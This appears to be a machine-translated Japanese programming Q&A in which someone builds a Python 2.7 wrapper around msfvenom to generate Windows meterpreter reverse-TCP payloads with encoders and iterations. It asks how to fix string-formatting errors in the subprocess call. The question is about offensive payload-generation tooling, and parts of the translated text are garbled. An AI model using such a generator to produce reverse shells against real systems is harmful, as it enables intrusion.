Python 2.7.12でMetasploitペイロードジェネレータを作成しようとしています。 msfvenom
を使用して、多くの悪質なペイロードを生成します。Pythonでコマンドライン引数を渡すときに変数を文字列として追加する2.7.12
最初に私は%s
と%d
フォーマット演算子を使用します。
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
このエラーは、私は、msfvenomは反復フラグだった私が渡し引数を解析することができないことを-i
を理解することができる午前
/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
File "menu.py", line 74, in <module>
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost),
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'
を返します。それに続いて、PythonのエラーTypeError
が表示されます。
いくつかの研究を行った後、私は.format()
を使用することを決定し、
call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,
lport, encode, iteration, formatop, payname, formatop)
ので、それは私が何をすべき
AttributeError: 'int' object has no attribute 'format'
を返しますか?とにかく私は自分のプログラムを最適化し、同じ行をコピーして貼り付けるのではなく、15種類のオプションのペイロードタイプを変更するのではないでしょうか?
文字列に 'format'を呼び出す必要があります。つまり、値は{}"です。format(1) ' – maxymoo